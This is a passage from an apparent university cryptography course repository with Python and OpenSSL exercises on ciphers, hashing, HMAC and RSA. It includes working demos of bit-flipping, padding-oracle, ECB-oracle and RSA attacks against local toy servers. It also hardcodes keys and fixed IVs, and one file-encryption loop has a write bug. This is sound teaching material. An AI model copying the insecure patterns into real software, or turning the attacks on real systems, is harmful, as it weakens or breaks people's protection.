"+base64.b64encode(cipher.nonce).decode()) 21 | 22 | print(sys.getsizeof(plaintext),end=" ") 23 | print(sys.getsizeof(ciphertext)) 24 | print(len(cipher.nonce)) 25 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/04.stream-salsa_incremental.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | # these are bytes 4 | key = b'deadbeefdeadbeef' 5 | cipher = Salsa20.new(key) 6 | 7 | #incremental encryption with a stream cipher 8 | ciphertext = cipher.encrypt(b'The first part of the secret message. ') 9 | ciphertext += cipher.encrypt(b'The second part of the message.') 10 | #also the ciphertext is made of bytes 11 | 12 | #print the nonce you will have to share 13 | nonce = cipher.nonce 14 | print(nonce) 15 | 16 | # check: decryption works 17 | cipher2 = Salsa20.new(key,nonce) 18 | plaintext = cipher2.decrypt(ciphertext) 19 | print("Decrypted = "+plaintext.decode("utf-8")) 20 | 21 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/05.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | salsa_key = b'deadbeeddeadbeef' 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | f_output = open(sys.argv[2],"wb") 15 | 16 | ciphertext = b'' 17 | 18 | with open(sys.argv[1],"rb") as f_input: 19 | plaintext = f_input.read(1024) 20 | while plaintext: 21 | ciphertext += streamcipher.encrypt(plaintext) 22 | f_output.write(ciphertext) 23 | plaintext = f_input.read(1024) 24 | 25 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 26 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/06.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | 10 | aes_key = get_random_bytes(AES.key_size[0]) 11 | iv = get_random_bytes(AES.block_size) 12 | 13 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 14 | 15 | f_input = open(sys.argv[1],"rb") 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/08.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | 4 | hash_object = SHA256.new() 5 | hash_object.update(b'Beginning of the message to hash...') 6 | hash_object.update(b'...and some more data') 7 | 8 | print(hash_object.digest()) 9 | print(hash_object.hexdigest()) 10 | 11 | 12 | hash_object = SHA256.new(data=b'First part of the message. ' ) 13 | hash_object.update(b'Second part of the message. ') 14 | hash_object.update(b'Third and last.') 15 | 16 | print(hash_object.digest()) 17 | print(hash_object.hexdigest()) 18 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/09.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | 4 | hash_gen = SHA3_256.new() 5 | 6 | with open(__file__) as f_input: 7 | hash_gen.update(f_input.read().encode()) 8 | 9 | print(hash_gen.digest()) 10 | print(hash_gen.hexdigest()) 11 | 12 | 13 | hash_gen = SHA3_256.new() 14 | with open(__file__,"rb") as f_input: 15 | hash_gen.update(f_input.read()) 16 | 17 | print(hash_gen.digest()) 18 | print(hash_gen.hexdigest()) 19 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA512 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use. Now compute the SHA512-HMAC' 7 | secret = get_random_bytes(32) 8 | hmac_gen = HMAC.new(secret, digestmod=SHA512) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | 14 | #store message and MAC into a JSON data structure 15 | json_dict = {"message": msg.decode(), "MAC":mac} 16 | json_object = json.dumps(json_dict) 17 | print(json_object) 18 | 19 | 20 | 21 | # ASSUMPTION: we have securely exchanged the secret 22 | 23 | b64 = json.loads(json_object) 24 | hmac_ver = HMAC.new(secret, digestmod=SHA512) 25 | hmac_ver.update(b64["message"].encode()) 26 | 27 | try: 28 | hmac_ver.hexverify(b64["MAC"]) 29 | print("The message '%s' is authentic" % msg) 30 | except ValueError: 31 | print("Wrong secret or message.") 32 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/12.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'W34kpassw0rd!' 5 | salt = get_random_bytes(16) 6 | 7 | # A good choice of parameters (N, r , p) was suggested by Colin Percival in his presentation in 2009: 8 | # http://www.tarsnap.com/scrypt/scrypt-slides.pdf 9 | # ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) 10 | # ( 2²⁰, 8, 1 ) for file encryption (≤5s) 11 | 12 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 13 | print(salt) 14 | 15 | print("This should be secret: " + str(key)) 16 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/13.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/14.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | secret = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=secret, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | # the sender is computing the HMAC... 15 | mac_factory = hmac.new(secret, msg, hashlib.sha256) 16 | hmac_sha256 = mac_factory.digest() 17 | 18 | print("HMAC-SHA256@SENDER = " + mac_factory.hexdigest()) 19 | 20 | 21 | # the receiver has received msg1 and hmac_sha256... 22 | # then checks the HMAC 23 | msg1 = b'This is the new message' 24 | mac_factory_receiver = hmac.new(secret, msg1, hashlib.sha256) 25 | hmac_sha256_1 = mac_factory_receiver.hexdigest() 26 | print("HMAC-SHA256@RECEIVER= " + hmac_sha256_1) 27 | 28 | if hmac.compare_digest(mac_factory_receiver.digest(), hmac_sha256): 29 | print("HMAC correctly verified: messages are identical") 30 | else: 31 | print("HMAC are different") 32 | -------------------------------------------------------------------------------- /AY2425/OpenSSL/bignum/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a newly instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | BN_CTX *ctx=BN_CTX_new(); 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: word functions mean -> unsigned long 16 | BN_set_word(b1,354); 17 | BN_print_fp(stdout,b1); 18 | printf("\n"); 19 | 20 | BN_set_word(b2,70000000000005); 21 | BN_print_fp(stdout,b2); 22 | printf("\n"); 23 | 24 | // b1 % b2 --> b3 25 | BN_mod(b3,b2,b1,ctx); 26 | 27 | // print in hex format 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | 32 | BN_free(b1); 33 | BN_free(b2); 34 | BN_free(b3); 35 | 36 | BN_CTX_free(ctx); 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /AY2425/OpenSSL/bignum/bignum2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 7 | char hex_string[] = "13AAF504E4BC1E62173F87A4378C37B49C8CCFF196CE3F0AD2"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | //creeate from decimal string 11 | BN_dec2bn(&big_number, num_string); 12 | BIGNUM *big_number2 = BN_new(); 13 | BN_hex2bn(&big_number2, hex_string); 14 | 15 | BN_print_fp(stdout,big_number); 16 | printf("\n"); 17 | BN_print_fp(stdout,big_number2); 18 | printf("\n"); 19 | 20 | int res = BN_cmp(big_number2, big_number); 21 | if(res==0) 22 | printf("The big numbers are equal\n"); 23 | else 24 | printf("The big numbers are different\n"); 25 | 26 | char *num_string_after = BN_bn2hex(big_number); 27 | printf("%s\n", num_string_after); 28 | printf("%s\n", BN_bn2dec(big_number)); 29 | 30 | // politely free OpenSSL generated heap structures 31 | OPENSSL_free(num_string_after); 32 | BN_free(big_number); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AY2425/OpenSSL/dgst/hash1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(){ 7 | 8 | EVP_MD_CTX *md; 9 | 10 | char message[] = "This is the message to hash"; 11 | 12 | 13 | 14 | //EVP_MD_CTX *EVP_MD_CTX_new(void); 15 | md = EVP_MD_CTX_new(); 16 | 17 | //int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); 18 | // int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); 19 | EVP_DigestInit(md, EVP_sha1()); 20 | 21 | 22 | // int EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d, size_t cnt); 23 | EVP_DigestUpdate(md, message, strlen(message)); 24 | 25 | 26 | unsigned char md_value[20]; 27 | int md_len; 28 | 29 | //int EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s); 30 | EVP_DigestFinal(md, md_value, &md_len); 31 | 32 | // void EVP_MD_CTX_free(EVP_MD_CTX *ctx); 33 | EVP_MD_CTX_free(md); 34 | 35 | printf("The digest is: "); 36 | for(int i = 0; i < md_len; i++) 37 | printf("%02x", md_value[i]); 38 | printf("\n"); 39 | 40 | return 0; 41 | 42 | } -------------------------------------------------------------------------------- /AY2425/OpenSSL/enc/enc1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | 7 | #define ENCRYPT 1 8 | #define DECRYPT 0 9 | 10 | int main() 11 | { 12 | 13 | 14 | unsigned char key[] = "0123456789ABCDEF"; 15 | unsigned char iv[] = "1111111111111111"; 16 | 17 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); 18 | EVP_CipherInit(ctx,EVP_aes_128_cbc(), key, iv, ENCRYPT); 19 | 20 | 21 | unsigned char plaintext[] = "This is the plaintext to encrypt."; //len 33 22 | unsigned char ciphertext[48]; 23 | 24 | int update_len, final_len; 25 | int ciphertext_len=0; 26 | 27 | EVP_CipherUpdate(ctx,ciphertext,&update_len,plaintext,strlen(plaintext)); 28 | ciphertext_len+=update_len; 29 | printf("update size: %d\n",ciphertext_len); 30 | 31 | EVP_CipherFinal_ex(ctx,ciphertext+ciphertext_len,&final_len); 32 | ciphertext_len+=final_len; 33 | 34 | EVP_CIPHER_CTX_free(ctx); 35 | 36 | printf("Ciphertext lenght = %d\n", ciphertext_len); 37 | for(int i = 0; i < ciphertext_len; i++) 38 | printf("%02x", ciphertext[i]); 39 | printf("\n"); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /AY2425/OpenSSL/rand/rand1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | RAND_load_file("/dev/random", 64); //optional on Linux 10 | RAND_bytes(random_string,MAX); 11 | 12 | printf("Sequence generated: "); 13 | for(int i = 0; i < MAX; i++) 14 | printf("%02x-", random_string[i]); 15 | printf("\n"); 16 | 17 | return 0; 18 | 19 | } -------------------------------------------------------------------------------- /AY2425/OpenSSL/rand/rand2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | if(RAND_load_file("/dev/random", 64) != 64) 10 | fprintf(stderr,"Error with rand init\n"); 11 | 12 | if(!RAND_bytes(random_string,MAX)) 13 | fprintf(stderr,"Error with rand generation\n"); 14 | 15 | 16 | printf("Sequence generated: "); 17 | for(int i = 0; i < MAX; i++) 18 | printf("%02x-", random_string[i]); 19 | printf("\n"); 20 | 21 | return 0; 22 | 23 | } -------------------------------------------------------------------------------- /AY2425/OpenSSL/rand/rand3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX 64 6 | 7 | void handle_errors(){ 8 | ERR_print_errors_fp(stderr); 9 | abort(); 10 | } 11 | 12 | 13 | int main(){ 14 | unsigned char random_string[MAX]; 15 | 16 | if(RAND_load_file("/dev/random", 64) != 64) //optional on Linux 17 | handle_errors(); 18 | 19 | if(!RAND_bytes(random_string,MAX)) 20 | handle_errors(); 21 | 22 | printf("Sequence generated: "); 23 | for(int i = 0; i < MAX; i++) 24 | printf("%02x-", random_string[i]); 25 | printf("\n"); 26 | 27 | return 0; 28 | 29 | } -------------------------------------------------------------------------------- /AY2425/Python/attacks/BF/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/BF/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/BF/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/BF/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/BF/bitflippling_video.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ChaCha20 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | plaintext = b'This is the message to encrypt but the attacker knows there is a specific sequence of numbers 12345' 7 | #attacker knows that b'1' in a specific position 8 | index = plaintext.index(b'1') 9 | print(index) 10 | 11 | key = get_random_bytes(32) 12 | nonce = get_random_bytes(12) 13 | cipher = ChaCha20.new(key = key, nonce = nonce) 14 | ciphertext = cipher.encrypt(plaintext) 15 | 16 | # ciphertext, index, b'1' 17 | 18 | new_value = b'9' 19 | new_int = ord(new_value) # ASCII code 20 | 21 | mask = ord(b'1') ^ new_int 22 | 23 | edt_ciphertext = bytearray(ciphertext) 24 | edt_ciphertext[index] = ciphertext[index] ^ mask 25 | 26 | # edt_ciphertext is received by the recipient, 27 | 28 | cipher_dec = ChaCha20.new(key=key, nonce=nonce) 29 | decrypted_text = cipher_dec.decrypt(edt_ciphertext) 30 | print(decrypted_text) 31 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/BF/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/BF/mysecrets.py: -------------------------------------------------------------------------------- 1 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 2 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/helper/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | from attacks.CBCPaddingOracle.mysecrets import cbc_oracle_key as key 6 | from attacks.CBCPaddingOracle.mydata import cbc_oracle_iv as iv 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12346 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/mydata.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_iv = b'\xd9H\xaf\xc9\xa5\xc9"3\x93\xaa\xbd\x87\xa5\x15\x04\xdd' 2 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\x82\xb0d2\x0bm\xc7\xdeX)\xb2\x7f\xb2\xe7I\x14' 3 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbcS\xac\xd9\xb9\xbb\xfaI\x87\xa3E\x8aT8//\xf4\xb0\xa9u\x8c\x0eQ\x1c\x83v\xed\x04`\n\xf7\xcc\x03' 4 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 5 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 6 | cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 7 | 8 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/CBCPaddingOracle/mysecrets.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_key = b'0123456789abcdef0123456789abcdef' -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/ECB_CopyPaste_server_genCookie_service.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/ECB_CopyPaste_server_genCookie_service.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/ECB/ECBCopyPaste/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBCopyPaste/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | DELTA_PORT = 101 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBCopyPaste/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from attacks.ECB.mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from attacks.ECB.myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECB_ACPA/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBvsCBC/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/ECB/ECBvsCBC/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBvsCBC/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2425/Python/attacks/ECB/ECBvsCBC/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBvsCBC/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | DELTA_PORT = 101 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/ECB/ECBvsCBC/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/RSA Attacks/1.factorDB.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/RSA Attacks/3.common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from gmpy2 import gcd 3 | 4 | if __name__ == '__main__': 5 | 6 | p1 = getPrime(1024) 7 | p2 = getPrime(1024) 8 | p3 = getPrime(1024) 9 | 10 | n1 = p1 * p2 11 | n2 = p1 * p3 12 | 13 | print(p1) 14 | print(p2) 15 | print(p3) 16 | 17 | 18 | p = gcd(n1,n2) 19 | print("-----------") 20 | print(p) 21 | print(n1 // p) 22 | print(n2 // p) 23 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/RSA Attacks/5.low_public_exponent.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | #kth root of the number n 5 | def iroot(k, n): 6 | u, s = n, n+1 7 | while u < s: 8 | s = u 9 | t = (k-1) * s + n // pow(s, k-1) 10 | u = t // k 11 | return s 12 | 13 | if __name__ == '__main__': 14 | 15 | rsa_keypair = RSA.generate(2048, e = 3) 16 | e = rsa_keypair.e 17 | # d = rsa_keypair.d 18 | n = rsa_keypair.n 19 | 20 | m = b'This message needs to be encrypted' 21 | m_int = int.from_bytes(m,byteorder='big') 22 | 23 | c = pow(m_int,e,n) 24 | 25 | decrypted_int = iroot(e, c) 26 | print(decrypted_int) 27 | print(decrypted_int.to_bytes(decrypted_int.bit_length() // 8 +1, byteorder='big').decode()) 28 | 29 | dec = pow(c, 1/3) 30 | print(dec) 31 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from myconfig import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY2425/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/mysecrets.py: -------------------------------------------------------------------------------- 1 | lsb_n = 84512936364028707109792721541348089559038960317411172574310460131821809228801 2 | lsb_d = 33338617022738821809198944565794469679031084241028925158776770023255471009649 3 | lsb_e = 65537 4 | lsb_ciphertext = 40905797042890600077330500098053021483209678644028914795144404253281221960366 5 | lsb_plaintext = 803417515832054223369196934329960786582357242441556610682060160426930292 6 | -------------------------------------------------------------------------------- /AY2425/Python/basics/asymmetric/03_RSA_keygen_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | 